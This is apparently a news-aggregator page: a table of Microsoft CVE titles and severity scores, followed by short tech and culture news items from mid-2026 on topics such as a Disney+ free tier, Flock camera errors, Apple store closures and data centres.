CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Exploitation More Likely	No	9.6
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Exploitation More Likely	No	9.1
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.9
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	9.3
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8

Disney Plus Explores A New Free Tier To Attract More Viewers

Sun, 12 Jul 2026 18:39:43 +0200

The Walt Disney Company is looking into new ways to bring more people to its streaming platform. Recent reports indicate that the entertainment giant might drop the paywall for a portion of its catalog. While nothing is set in stone yet, this move would allow people to watch certain shows and movies on the app without spending a single dime. This represents a major shift for the popular service. Company executives discuss pulling the paywall for some content Chief Product and Tech Officer Adam Smith recently spoke about the idea during a company town hall. Sources say these talks are part of a bigger plan to better serve viewers and pull a new audience toward its platform. A free option would likely rely on ads to bring in money. This idea could help Disney stand out in a crowded market. Rivals like Netflix and Max do not currently offer totally free access to their main shows and movies. By giving away a taste of what it has to offer at no cost, the service hopes to hook viewers who might later decide to pay for a subscription. Right now, users have to pay $12.99 a month for the ad-supported bundle with Hulu. The ad-free version costs $19.99 a month. Handing out select streaming video titles for free might seem odd for a paid app, but it makes sense if it gets more people watching over time. Smith did not give a clear timeline or say exactly which shows might be included. For now, the idea remains just a talk inside the company rather than a done deal. Viewers will just have to wait and see if these plans actually happen in the near future.

People Keep Sneaking Into an Empty IBM Campus - and Then Getting Arrested

Sun, 12 Jul 2026 00:52:23 +0200

Since February, New York state police have arrested 48 people for trespassing on a former IBM campus in Somers, New York, reports the Wall Street Journal. 30 of the arrests were teenagers. The long-vacant site has become a magnet for so-called urban explorers, who prowl abandoned malls, hospitals, power plants, amusement parks, factories and any other disused structure they can breach... [I]t's been turbocharged by artsy videos on Instagram and TikTok that spur others to create their own posts, luring still more curiosity seekers... In Somers, social-media images of the old IBM campus — a sprawling, pyramid-studded 1980s complex designed by the late I.M. Pei's firm — show dystopian scenes: busted windows, tossed rooms and graffitied walls. But they also give eerie glimpses of conference rooms and cubicles unchanged since IBM left a decade ago, as if employees had fled the daily grind one day and never returned... One man in his mid-20s faces felony charges; police allege he had a loaded 9mm gun and took a Sony camera and power strip among other souvenirs. Andrew Proto, a defense lawyer, said "a 15-second clip" isn't worth a criminal record... Proto said he has represented or advised several minors arrested on the campus. The Somers town court clerk said some defendants received a 6-month "adjournment in contemplation of dismissal," meaning charges will be dropped and their arrest sealed if they avoid trouble. Some explorers who have posted about the IBM site say they follow an observe-and-preserve ethos and reject vandalism. They say they're driven by curiosity, the thrill of roaming forbidden spaces and a zeal to document discoveries — and that they're careful and know their limits. "It actually gives me hope when I hear that kids are out there getting into trouble," says Bradley Garrett, a cultural geographer and author of the book "Explore Everything: Place-Hacking the City," about his own urbex adventures. He sees urban exploration as "a gateway drug in a good way, sometimes, into intellectual curiosity about history and culture." But Garrett said popular spots can be "loved to death" online — and then shut down, looted or set ablaze. "Trespassers were blamed for a March 30 fire, reports a local newspaper, "that damaged one of the buildings and required volunteer firefighters to spend three hours extinguishing the blaze."

Read more of this story at Slashdot.

How Flock Cameras Wrongly Tracked a Journalist for Days, Then Sent Police to Arrest Him

Sat, 11 Jul 2026 16:52:48 +0200

"Are you armed?!" the police officer screamed. "Get out of the car!" A writer for the car-news site The Drive describes how "a technological chain linking surveillance cameras, AI, and law enforcement... led to me and my wife being surrounded by police, hands on their guns, in a Kohl's parking lot in suburban Minnesota." After dropping off our Amazon returns, we'd just gotten back in the Range Rover and reversed maybe two feet out of the spot when four cop cars came flying out of nowhere and boxed us in... The Plymouth Police Department had been tracking me for days using Flock license plate cameras, waiting for the right moment to strike, because they thought I'd stolen the Range Rover. And the reason I was ID'd as a dangerous car thief was a simple data error made 2,000 miles away in California, creating an edge case within an edge case that Flock's AI camera network was unable to handle... "The plates on this car are stolen," Officer Ganshyn said... This made absolutely no sense. Car companies keep meticulous track of the fleets they loan out to the media. The vehicles all have special manufacturer or dealer plates that are logged every time one enters or exits... The New Jersey plates that were allegedly stolen from the LA dealer were 34 03 DTM, not 34 10 DTM. But when the police report was created and the plate was entered into Flock's system, it was just recorded as 34 DTM. Just the five large characters, no little number in the middle... Flock's AI tech wasn't registering that non-standard little number when it began picking up the Range Rover around town... I connected the final dot. A lot of vehicles in [Range Rover manufacturer] JLR's media fleet have a New Jersey manufacturer plate with the same alphanumeric structure — 34 ## DTM — and Officer Ganshyn observed that meant it was now a nationwide issue. Anywhere a police department has a partnership with Flock, any other JLR-owned car with the same plate structure is going to get flagged as stolen. In fact, four other 34 ## DTM cars were being tracked around Minnesota that week, according to Officer Ganshyn. I was just the first one to get nabbed. The only way to stop it would be for the LAPD to correct their initial report and update Flock's system, which Jaguar Land Rover was now racing to make happen following the phone call. Still, he warned me to drive straight home, park the Range Rover, and leave it there. If I were to cross into the neighboring town, I'd probably get flagged again and go through this entire ordeal again with a different set of officers. His parting words were ominous: "You're lucky we're in Plymouth. If you were in Minneapolis, they definitely would've come at you with guns drawn." Ironically, even the original license plate wasn't stolen either, the article points out. It was reported misplaced during a Los Angeles photo shoot, and "The corporation had to report the plate as lost to law enforcement," according to the police report — and even then, the plate "was reported as NJ 34DTM instead of NJ 3403DTM." The author's conclusion? "Once these systems have you in their crosshairs, there's pretty much only one way it can go... A simple data-entry error, magnified and broadcast nationwide by a growing surveillance network operated through an opaque partnership between a private company and public agencies, led police to identify me as a car thief and set up a sting to take me down. I mean, they even had a drone flying overhead during the 'bust'... "Thank God our kids weren't with us." Thanks to long-time Slashdot reader sinij for sharing the article.

Read more of this story at Slashdot.

Disney+ Explores a Free Tier As YouTube Draws TV Viewers

Fri, 10 Jul 2026 20:23:22 +0200

Disney is exploring a free tier for Disney+ that would make some content available without a subscription. According to Nielsen data, the three largest free streamers accounted for 18.7% of watch time on U.S. TVs in April, up from 16.8% a year earlier and 12.7% in April 2024. Business Insider reports: Product and tech chief Adam Smith spoke about enabling free-tier content during a streaming town hall on Thursday afternoon, one staffer said. Smith didn't share a timeline for this initiative or a sense of the scope, this person added. A person familiar with Disney's streaming strategy said these talks are part of an ongoing discussion about concepts to better serve fans. Currently, the Disney+ and Hulu bundle costs $12.99 a month with ads or $19.99 without ads at full price.

Read more of this story at Slashdot.

Disney Plus is reportedly looking into a free streaming tier

Fri, 10 Jul 2026 17:52:43 +0200

Disney Plus is considering making some of its content free to watch, according to a report from Business Insider. A source tells the outlet that Adam Smith, Disney's chief product and technology officer, mentioned a free streaming tier during the company's town hall on Thursday. It's not clear which shows or movies the purported free […]

Hell Clock: Cursed War DLC – Yay or Nay (PC)

Fri, 10 Jul 2026 10:22:49 +0200

When Hell Clock first launched, I was impressed by how well it managed to blend ARPGs with the roguelike system. The main character Pajeu was likeable, the gameplay was intense, the skill trees were great and expansive, plus you always felt that you should do yet another run. I enjoy the fictionalized revenge story they did, as they based it on a real-life event. But with Hell Clock: Cursed War, we’re getting a much-needed 4th chapter for the game, which delves deeper into Pajeu and his origin story, something that I found to be very exciting. We revisit Pajeu’s town in a tormented, rather hellish form and many soldiers are still haunting that place. We get to see when Pajeu was recruited into the Brazilian army and the horrors he experienced. But aside from the DLC, the main game is getting an update as well. We have the Endless Nightmares endgame system where you can explore randomized areas and progress through 16 tiers of difficulty. Then, there’s the Journey o...

Apple going big at Comic Con with a 2-hour panel and show preview

Thu, 09 Jul 2026 20:08:56 +0200

Apple TV is going to be a big presence at Comic Con 2026, with the company set to host a two-hour panel and share a first-look preview for the second season of "Dark Matter."

"Widow's Bay" will have a presence at Comic Con this year.

Comic Con, which gets underway on July 23 and runs through July 26, will be held in San Diego and will no doubt be as popular as ever. And Apple TV will back up its recent collection of 89 Emmy nominations with a strong showing.

Not only will Apple be present, but it will go so far as to set up a "Silo" multi-sensory installation that will help give Comic Con attendees a feel for life underground.

Continue Reading on AppleInsider | Discuss on our Forums

New York is the first US state to ban smart glasses in all its courthouses

Thu, 09 Jul 2026 15:48:07 +0200

New York has banned smart glasses in all 1,240 state, county, city, town and village courts.

Apple TV Confirms Nocturne Premiere Date, First Look Images Released

Wed, 08 Jul 2026 00:21:48 +0200

Apple TV has confirmed Nocturne, its new crime drama series starring Liev Schreiber, Zazie Beetz, and Stephen Graham, will premiere on October 30. The series follows a tense hunt for a serial killer after one of his victims unexpectedly returns alive. https://twitter.com/AppleTV/status/2074493672582746234 Nocturne Release Details Series: Nocturne Genre: Crime drama, thriller Episodes: 10 episodes Premiere date: October 30 Expected finale date: December 25, if Apple follows a weekly release after the first two episodes Main cast: Liev Schreiber, Zazie Beetz, Stephen Graham Based on: Lars Kepler’s novels Lazarus and The Sandman Plot Nocturne follows Jonah Lynn, an ex-soldier turned homicide detective who leaves Philadelphia for a quieter life in Western Pennsylvania. That peace does not last long after a dangerous serial killer named Jurek Walter threatens his town and family. The story begins when the victim of a notorious killer suddenly appears alive. Jonah then races to find the one person who is still missing, while FBI Agent Saga Bauer goes undercover to get answers from the killer himself. Spoiler note: The main setup has been revealed, but Apple has not shared major episode spoilers yet. FAQs When does Nocturne premiere on Apple TV? Nocturne premieres on October 30 on Apple TV. How many episodes does Nocturne have? Nocturne has 10 episodes. Who stars in Nocturne? The series stars Liev Schreiber, Zazie Beetz, and Stephen Graham in key roles. What is Nocturne based on? Nocturne is based on Lars Kepler’s crime novels Lazarus and The Sandman. Is Nocturne a crime thriller? Yes, Nocturne is a crime drama with a serial killer storyline, undercover investigation, and a tense detective-led plot. Apple TV costs $12.99 per month in the US after a 7-day free trial. What do you plan to watch when Nocturne premieres? Let us know in the comments.

Why worms (and microbes) are catching on as a manure pollution solution

Tue, 07 Jul 2026 12:19:24 +0200

Anthony Agueda, a third-generation California dairy farmer, pulls a rake through a bed of dark, wet wood chips on his family’s land in Hickman, a tiny town in the state’s agricultural heartland. He reaches down with both hands and pulls up a clump of muck, turning it over to reveal a half-dozen squirming red earthworms.…

Small AI Models Gain Traction Around the World

Tue, 07 Jul 2026 01:08:12 +0200

locater16 shares a report from IEEE Spectrum: One morning in 2019, Adebayo Alonge was in a Cape Town hotel room, preparing to demonstrate his startup's AI answer to a serious problem in African health care: counterfeit medication, which kills thousands of people across the continent every year. The RxScanner is a handheld spectrometer that scans a pill with infrared light, then sends the item's molecular profile to an AI model equipped with a pharmaceutical database. In seconds, the AI identifies the medication from its molecular profile -- or reports that it's phony. Pharmacies were using the system in more than a dozen countries, including Ghana, Kenya, Myanmar, and Alonge's native Nigeria. But that morning in South Africa, it didn't work. "I was shocked," Alonge says... So Alonge immediately asked his engineers to shrink the AI model down to a smaller, low-power, unconnected version that could run entirely on his Android phone. They produced it 2 hours later, and that saved the demo. More importantly, the work birthed a new version of his device, which can authenticate a pill in places without broadband, computers, or even reliable electricity. It also turned Alonge into an advocate for this kind of "small AI." "The article goes on to detail other immediately useful 'small' AI applications without any subscription or billion dollar data centers needed," writes locator16. For example, Bala Murugan and colleagues at Vellore Institute of Technology in India developed a drone-based system that photographs cashew plants and identifies disease-indicating splotches on the plants. The key advantage is that all processing happens on the drone itself, so farmers do not need a computer, broadband connection, or cloud server access. In a Uruguayan vineyard, researchers developed small-AI systems to identify ant infestations. The article doesn't go deep into the deployment details, but it presents this as another example of a narrow, localized model trained to recognize a specific agricultural threat. Small AI has also been used to detect the presence of malaria-carrying mosquitoes in multiple countries. This is especially useful in regions where public-health teams may lack reliable network access or expensive lab infrastructure, but still need fast, local detection. In parts of Brazil without access to more complex medical equipment, researchers have used small AI to run electrocardiograms from an Arduino device. The article also describes Marcelo Jose Rovai's work on a TinyML model that generates electrocardiograms in a patient simulator lab. Rovai also describes a newer experiment using an Arduino UNO Q with a Qualcomm chipset. The device runs a language model locally, collects sensor data, and analyzes it to detect tiny pools of water where mosquitoes might breed -- while using only about 3 watts of power.

Read more of this story at Slashdot.

Prediction Markets Let You Bet on Whether a Wildfire Will Burn Down Your Town

Sun, 05 Jul 2026 13:02:46 +0200

Wildfire survivors call fire-prediction markets “morally reprehensible” and worry they could increase the risk of arson.

Meta's AI agent push is moving slower than Zuckerberg planned

Fri, 03 Jul 2026 13:19:37 +0200

Mark Zuckerberg admitted to weaknesses in the company's restructuring during an internal town hall. The AI agents Meta reorganized around are progressing slower than planned, Zuckerberg said. His AI chief, meanwhile, painted a rosier picture.

The article Meta's AI agent push is moving slower than Zuckerberg planned appeared first on The Decoder.

(g+) SpaceX: The town that Elon Musk built

Wed, 01 Jul 2026 18:04:03 +0200

A new city of SpaceX workers is emerging out of the Texas sand Von Stephanie Findlay (SpaceX, Wirtschaft)

HPR4673: First contact conversation

Wed, 01 Jul 2026 02:03:15 +0200

This show has been flagged as Clean by the host.

Hello, this is your host, Archer72 for another episode of Hacker Public radio.

In this episode, I make my first contact off a local repeater in a small town in Kentucky.

What got me to try my hand at radio? It was when I started to capture ISS (International Space Station) Ham radio transmissions. From Kentucky, I have logged receiving from Texas and Oregon and as far as a brief transmission over Great Britain.

My next step was to have a first contact, which I botched at first when I said my call sign, and didn’t leave enough time for someone to respond.

I thought that a repeater was the best place to start, so found this one on RepeaterBook.com

The repeater was found in RepeaterBook at RepeaterBook : My local Cynthiana, Kentucky repeater

Youtube : Harrison County Amateur Radio Club

QRZ : Harrison County Amateur Radio Club

Facebook : Harrison County Amateur Radio Club

The callsign for this repeater is Kilo-Four-Kilo-Juliett-Quebec

It is currently On Air (and quite active near club time and the weekend)

The base frequency is 147.165 MHz with an offset of plus (+) 600 KHz and a tone to open the repeater, of 67.0 Hz

It is hosted by the Bluegrass Amateur Radio Society

The RepeaterBook entry was updated on 2025-10-27

K4KJQ
On-Air
Open
 147.16500 (+) MHz 67.0

Cynthiana • Harrison County • Kentucky

Updated 2025-10-27


Technical
Downlink    147.16500
Uplink  147.76500
Offset  +0.600
Uplink Tone 67.0
Downlink Tone   67.0
Antenna (AGL)   125 feet
Sponsor: Bluegrass Amateur Radio Society
Sponsor: BARS 
Local Time  04:30 (EDT UTC-04:00 DST)
America/New_York
Reviewed    2025-10-27

Bluegrass Amateur Radio Society

RepeaterBook Worldwide

RepeaterBook is a worldwide amateur radio repeater directory

So, with after all that being said I programmed a Baofeng BF-F8HP to this frequency manually. You can also use open source Chirp software, but I wanted to know my radio to program it on the fly.

This brings me to a recording with permission from Keith (KO4BWJ) who is located outside this little A notable feature of this the town of Cynthiana, Kentucky is the hometown of the artist Robert Kirkman for the Television series The Walking Dead, and home to the mural depicting the main characters of the show. This mural had some controversy over the rights to have it depicted, or so I thought. The actual story is story is that some groups did not want a Zombie theme representing their town.

Cynthiana, Kentucky: Walking Dead Mural

Without further delay, here is the promised recording.

…

I hope you enjoyed and learned from this little piece of an experience Ham vs a new (to the airwaves) Ham.

This has been Archer72 (Kilo-Delta-Niner-Victor-Mike-Whiskey)

Provide feedback on this episode.

‘A very good gadget’: taking delivery from the robots of Milton Keynes

Tue, 30 Jun 2026 06:16:39 +0200

Starship Technologies six-wheelers could soon become a more familiar sight across the country under new laws

Driving down an endless string of identical roundabouts in the dead heat with hardly a human in sight, you see robots roving around on grassy pavements, whizzing past obstacles to hurriedly reach their final destination. This isn’t a scene from a Philip K Dick novel, however, but an average Thursday in Milton Keynes.

The robots aren’t a new arrival to the Buckinghamshire city, the UK’s largest new town and a longtime marvel for city planning enthusiasts fascinated by its American-influenced layout and postwar history. They’ve roamed its streets since 2018 – and could soon be coming to a town or city near you.

‘We’re up against forces that have all the money in the world’: Erin Brockovich on her battle against AI datacentres

Mon, 29 Jun 2026 06:03:05 +0200

In 1993, she squeezed a $333m settlement from a Californian energy company in a scandal over contaminated water. Three decades later, she has a new target in her sights – and it’s global

When Erin Brockovich woke to find 30 emails from people from the same town, she realised something was going on. People email Brockovich all the time because of what happened in 1993, when she was instrumental in suing Pacific Gas and Electric Company (PG&E) on behalf of residents of the town of Hinkley, California, whose groundwater had been contaminated. The case resulted in a settlement of $333m – then the largest ever payout for a direct-action lawsuit. When she was immortalised by Julia Roberts in the 2000 film Erin Brockovich, she became the hero we didn’t know we needed, a modern day Joan of Arc. She had won against PG&E with no formal legal training.

The emails she received a few weeks ago were about datacentres. In April, she put a callout on her website asking for anyone with concerns about one near them to get in touch. Within a month, 3,862 people had replied. Tech companies have needed datacentres to power their technology “for ever”, she says, but the new ones being built to power AI? “This feels like Hinkley on steroids.”

‘Crypto v community’: 4,000 local US lenders join forces to fight ‘stablecoins’ law

Sun, 28 Jun 2026 14:17:51 +0200

Up to 4,000 community banks fear looming legislation to regulate digital cash will deprive rural firms and farmers of $850bn-worth of loans

On a quiet summer morning, above a small mid-western town, an American flag is waving in the breeze. The camera cuts to a father helping his son at the wheel of a tractor, and flits to a smiling couple on a grass-lined pavement, moments before flashing to grainy images of “crypto insiders” in suits.

“American families don’t want experiments with their money,” a voice booms. “They want jobs, growth, and available credit. When crypto gets a free pass, communities pay the price.”

Iranian Hacker Arrested Over Alleged $3.4 Billion Cyberattack on USA Infrastructure

Fri, 26 Jun 2026 09:35:40 +0200

An alleged Iranian hacker accused of hacking US infrastructure has been arrested in Montenegro following a joint operation by Montenegrin police and the U.S. Federal Bureau of Investigation (FBI). The suspect is expected to face charges related to computer fraud, hacking, conspiracy, and identity theft after authorities linked him to a years-long cyber campaign that reportedly caused more than $3.4 billion in damages.

Iranian Hacker Faces Computer Fraud and Hacking Charges

The 39-year-old suspect, who holds dual Iranian and Turkish citizenship, was arrested in the Adriatic coastal town of Kotor, Montenegro. According to local police, he is wanted by the Southern District Court of New York on charges of conspiracy to commit computer fraud, hacking, and identity theft. The case will now be referred to a High Court judge in Montenegro's capital, Podgorica, where extradition proceedings are expected to begin.

Alleged Cyberattack on USA Universities Caused Billions in Damage

In an official statement, Montenegro's police directorate alleged that the Iranian hacker had been involved in large-scale hacking operations since 2013. "From 2013 onward, … he carried out massive hacking attacks … targeting more than 150 universities in the United States, causing damage estimated at over $3.4 billion," the statement said. Authorities claim the stolen data and access to compromised university accounts were used to benefit Iran's Islamic Revolutionary Guard Corps (IRGC) and other Iranian organizations, including universities. Investigators allege the campaign formed part of a broader cyberattack on USA institutions aimed at acquiring sensitive academic data and digital access.

Extradition Process Underway

Following the arrest, Montenegrin authorities confirmed that the suspect remains in custody while legal proceedings continue. If approved, he will be extradited to the United States to face charges tied to computer fraud, identity theft, and extensive hacking operations. The FBI participated in the investigation that led to the arrest, although the agency was not immediately available for comment after the announcement.

Iranian Cyber Operations Remain Under Scrutiny

The latest arrest comes amid continued concerns over Iranian-linked cyber activity. Iran and the IRGC have long been associated with state-sponsored cyber operations targeting U.S. organizations and infrastructure. In April, U.S. cybersecurity, intelligence, and law enforcement agencies warned that Iranian hacking campaigns targeting equipment across critical U.S. infrastructure had intensified. The warning highlighted an increase in attempted intrusions, reinforcing concerns over future cyberattacks on the USA. The arrest marks a new development in an international investigation into one of the largest alleged cybercrime cases involving an Iranian hacker, with prosecutors pursuing charges that include conspiracy, computer fraud, hacking, and identity theft linked to billions of dollars in reported losses.

The Maine Town That Actually Wants a Data Center

Fri, 26 Jun 2026 06:48:39 +0200

This year, Maine nearly became the first state to pass a statewide moratorium on new data centers. But before the law could take effect, supporters of an A.I. data center project in the small town of Jay rallied to fight the ban — and won. So why do residents there want one? We traveled to Jay to find out.

Texas lassoes massive Microsoft datacenter - and 20 years of gas turbine emissions

Mon, 22 Jun 2026 23:18:08 +0200

The air turns brown when bit barns come to town … deep in the heart of Texas

Ubisoft Co-Founder Claude Guillemot Dies In Plane Crash

Mon, 22 Jun 2026 17:25:07 +0200

An anonymous reader quotes a report from TechCrunch: Claude Guillemot, co-founder of French video game company Ubisoft, died Friday at the age of 69. According to French media (via Bloomberg), Guillemot died in a plane crash in the French resort town of La Baule. He was one of two people aboard the plane, both of whom died. Guillemot founded Ubisoft with his four brothers in 1986. Since then, the company has published the Assassin's Creed, Far Cry, Prince of Persia, and Tom Clancy video game franchises, as well as many other titles. The family retains control of Ubisoft, and Guillemot's brother Yves is still CEO. Guillemot was also chairman of Guillemot Corp., which makes gaming and audio accessories. "Ubisoft was deeply saddened to learn of the death of Claude Guillemot, co-founder of the group and chairman of Guillemot Corp., in an accident," Ubisoft said in a statement. "Our thoughts are with his family and loved ones during this difficult time. No further statements will be made at this time."

Read more of this story at Slashdot.

The Ecovacs Deebot X12 OmniCyclone is an impressively inventive robot cleaner that mops very well, but struggles to sweep up the competition

Sun, 21 Jun 2026 12:01:42 +0200

The new Ecovacs Deebot X12 OmniCyclone comes with some great innovations but it's not the best sucker in town

Apple Is Closing Three US Stores Today Amid Mall Decline and Union Dispute

Sat, 20 Jun 2026 21:53:26 +0200

Apple is permanently closing three retail stores in the United States on Saturday, June 20, after citing weaker mall conditions and the departure of major retailers from those shopping centers. The affected stores are: Apple Towson Town Center in Towson, Maryland, closing at 8 p.m. Apple North County in Escondido, California, closing at 9 p.m. Apple Trumbull in Trumbull, Connecticut, closing at 9 p.m. Apple said in April that it had decided after reviewing conditions at Trumbull Mall, the Shops at North County, and Towson Town Center. The company said these malls have seen retail exits and declining conditions, which affected its ability to serve customers well at those locations. The Towson closure has drawn the most attention because employees at that store became Apple’s first unionized retail workers in the United States in 2022. The staff later signed a collective bargaining agreement with Apple in 2024. The union has criticized Apple because workers at the non-union Trumbull and North County stores can transfer to nearby Apple locations, while Towson employees must follow the terms of their union agreement and apply for open roles. Apple says the agreement provides transfers or rehiring only if the company opens a new store within 50 miles of Towson Town Center. Since Apple has no current plan for a new nearby store, the company says affected workers will receive severance. The closures also reflect broader pressure on struggling malls, but the Towson case has turned the decision into a larger labor issue for Apple.

Grave Seasons Lets You Date the Serial Killer Plaguing Your Cute Town

Fri, 19 Jun 2026 06:47:36 +0200

At Summer Game Fest, the mechanics of the cozy horror game become more clear -- both in murder and in love.

‘Ordinary people are being erased’: one director’s audacious fightback against AI – featuring Frinton

Thu, 18 Jun 2026 16:38:25 +0200

Marc Isaacs’ film Synthetic Sincerity may look like a documentary, but its fictional premise – a lab that scrapes movies to harvest human emotions – shines a hard light on just how far AI can go

In Marc Isaacs’ latest film, the subversive documentary maker reveals that an AI research laboratory recently licensed his entire body of work. That’s a quarter-century of droll, deadpan studies of ordinary life in Britain – from the poetic Lift, about the comings and goings in a London tower block, and The Curious World of Frinton-on-Sea, set in the sleepy retirement town dubbed “God’s waiting room”, to Philip and His Seven Wives, in which a secondhand furniture dealer declares himself to be a Hebrew king. Isaacs agreed to let data analysts at the University of Southern England feed these and other documentaries into their system to harvest authentic human emotions from which AI characters could then be created. His film about the experience takes its name from the university’s lab: Synthetic Sincerity.

But how synthetic is the film itself? “Well, we made up the University of Southern England,” admits Isaacs, 59, over lunch at Etles, a Uyghur restaurant near his home in London. The choice of venue is no accident: its chef and owner, Ablikim Rahman, who flutters around us today bearing bowls of thick, glossy leghmen noodles, appears in Synthetic Sincerity being photographed by the AI boffins and turned into an avatar. This is Rahman’s first film, though he hasn’t seen it yet: “Soon,” he says with a sheepish smile.

Baltimore Mayor Pressures Apple Over Towson Store Closure

Thu, 18 Jun 2026 13:19:11 +0200

Baltimore Mayor Brandon M. Scott has added fresh pressure on Apple over its decision to close the Apple Towson Town Center store, which became the first unionized Apple Store in the United States. Apple plans to permanently close the Towson store on June 20, along with two other retail locations. The decision has drawn criticism from the IAM Union, which says Apple has not offered Towson employees the same relocation options given to workers at non-union stores. https://twitter.com/MayorBMScott/status/2066967338851651817 Apple has said its agreement with the union only requires transfer offers within 50 miles of the Towson store, while severance remains available for workers who cannot be relocated. The company has also said it has no plans to open another store within that area. Mayor Scott shared his support for the workers in a post on X, saying Apple’s decision affects both employees and the wider community around Towson. He argued that closing the store without a replacement pushes important services farther away from local customers. The mayor also urged Apple to give Towson workers the same opportunities offered to employees at non-union stores, adding that he will support their fight for fair treatment. IAM International President Brian Bryant thanked Mayor Scott for his support and again called on Apple to act before the store closes.

Mastering the chess of IT leadership today

Thu, 18 Jun 2026 11:32:52 +0200

In today’s AI-driven world, every decision a CIO makes is a pivotal move, with outcomes that ripple across the enterprise. Business performance, investor confidence, and the organization’s ability to compete are all influenced by these moves. It’s why Salumeh Companieh, chief digital and information officer at Cushman & Wakefield, says leadership in this environment feels a lot more like chess than checkers.

As the margin for error shrinks, expectations are rising, and the role of CIO is evolving, from technology leader to enterprise operator at the highest levels. Across the board, IT leaders are facing hard decisions with no easy answers. It demands clarity of intent, discipline in execution, and the ability to anticipate not just the next move but the downstream impact of every decision.

In a recent episode of the Tech Whisperers podcast, we explored how Companieh leads where speed, transparency, and human impact collide. In the Q&A that follows, edited for length and clarity, she builds on that conversation, sharing how her perspective, intentionality, and leadership approach ensure every move counts.

Dan Roberts: You’ve compared leadership today to chess, where second-order consequences are real. What has changed in the CIO role that makes that level of precision and foresight so critical now, and how do you help your team keep up?

Salumeh Companieh: What’s changed is the pace of change and velocity of delivery. You now have far more opportunities to make missteps at an accelerated pace if you do not understand the broader chessboard. One way we set our teams up to go faster is through clarity. The clearer the outcome, the faster you can go. So that means drawing clear accountability lines and having a really clear vision. And then it’s about real-time recognition, real-time pivots, and the awareness to slow down when needed — making course corrections in the moment and celebrating wins, both small and significant — because then you continue to fuel the flywheel. You fuel this sense of impact.

We host a team town hall after every earnings call, and one of the things we do very clearly is translate the earnings call to the work that they’re doing, drawing clear lineage between the amount of hours you’re spending away from your family doing work and the outcome of when your CEO is on an earnings call speaking to enterprise outcomes. The momentum that has built within our organization has been awe-inspiring. Feedback on the employee engagement survey statement ‘I can clearly align my work to the outcomes of the company’ continues to go up, and that’s where your sense of belonging continues to rise. You understand impact, so you can go faster.

You played a visible role in Cushman & Wakefield’s recent Investor Day. Not long ago, it would have been unusual to see a CIO in that spotlight. What was your role, and what did you want investors to understand about technology, AI, and the business?

The core message was, it’s inseparable from the strategy. There isn’t a separate AI strategy from the business strategy. It’s a cohesive, co-created strategy, and we are at the forefront of the new way of working for a professional services firm. We’re looking to redefine not just commercial real estate but professional services in whole. How do you move knowledge? How do you elevate colleagues? How do you shape different ways of working, with human-first and AI-augmented. So that was the core message.

My role in that is also to gain trust. It’s to clearly articulate the integral role that technology and data will continue to play in professional services, and we are making bold moves to shape it.

Your leadership style is grounded in consistency, clarity, and generosity, qualities that often come from lived experience. How have your early influences and upbringing shaped the way you lead and make decisions today?

My No. 1 and No. 2 role models are my parents. They made incredibly bold decisions when we were younger. They had to pivot multiple times in their lives and re-create from scratch. There was this real grounding of grit that I experienced day in and day out. And I genuinely believe that every single step I’ve taken, regardless of how hard, is not even remotely in the realm of the difficult decisions that they’ve made. For that to be your north star of what difficult looks like, candidly, everything else is benign. They taught me consistently showing up will pay dividends at an outsized return. They taught me that in your darkest days you never lose empathy for others. Most importantly, they taught me to keep myself humble.

That’s the true start of where my ‘operating system,’ if you will, was. For their decisions, for their sacrifice, I will always be grateful. And for the lessons in my life. I don’t think I’d be where I am today without that. And not just physically in a different country, but the growth that I’ve both witnessed and experienced wouldn’t have been possible otherwise. Whether it’s their decisions or my dad’s constant challenge of, ‘Well, of course you could do it,’ there was never a doubt in the forefront of the discussion. There was always a center of, ‘Why not you?’ And that same kind of leadership in a familial sense is what we hope that we’ve given to our sons. Why not you? You’ve just got to keep opening your mind space of, somebody’s going to crack this code, it might as well be you.

You’re known for your ability to see situations through multiple points of view across the business, your teams, and your clients. How does that perspective shape the moves you make, especially in moments of uncertainty?

I look at each of those lenses as their own data points, if you will, and depending on both external factors and internal factors, you dial up a particular decision criterion or you dial it down. It’s no different than, historically, we would have done this for risk mitigation. We would have looked at the risk profile of aging technology and tech debt and cybersecurity protocols and made risk-based decisions. It’s almost like mentally pivoting that to rewards-based decisions. What are the biggest rewards you’re going to get, both from a cultural perspective as well as a revenue optimization perspective?

Sometimes you might make a move just to start building the culture, and the next move on top of that will be an accelerated business and revenue outcome. But the more informed you are with all the data points, the better investment portfolio manager you are, because that’s really this job, right? Whether it’s your people’s capacity or genuine capital, it’s an investment portfolio. And there are risks and rewards against every investment portfolio.

Sometimes you’re going to be in a position to take higher-risk/higher-reward decisions, and sometimes you want to tone it down a little bit. To do that in totality, you need to know all the component parts you can make a decision on. You can’t put a blinder on. You have to provide transparency to the entire canvas. Then you can make really, really good decisions.

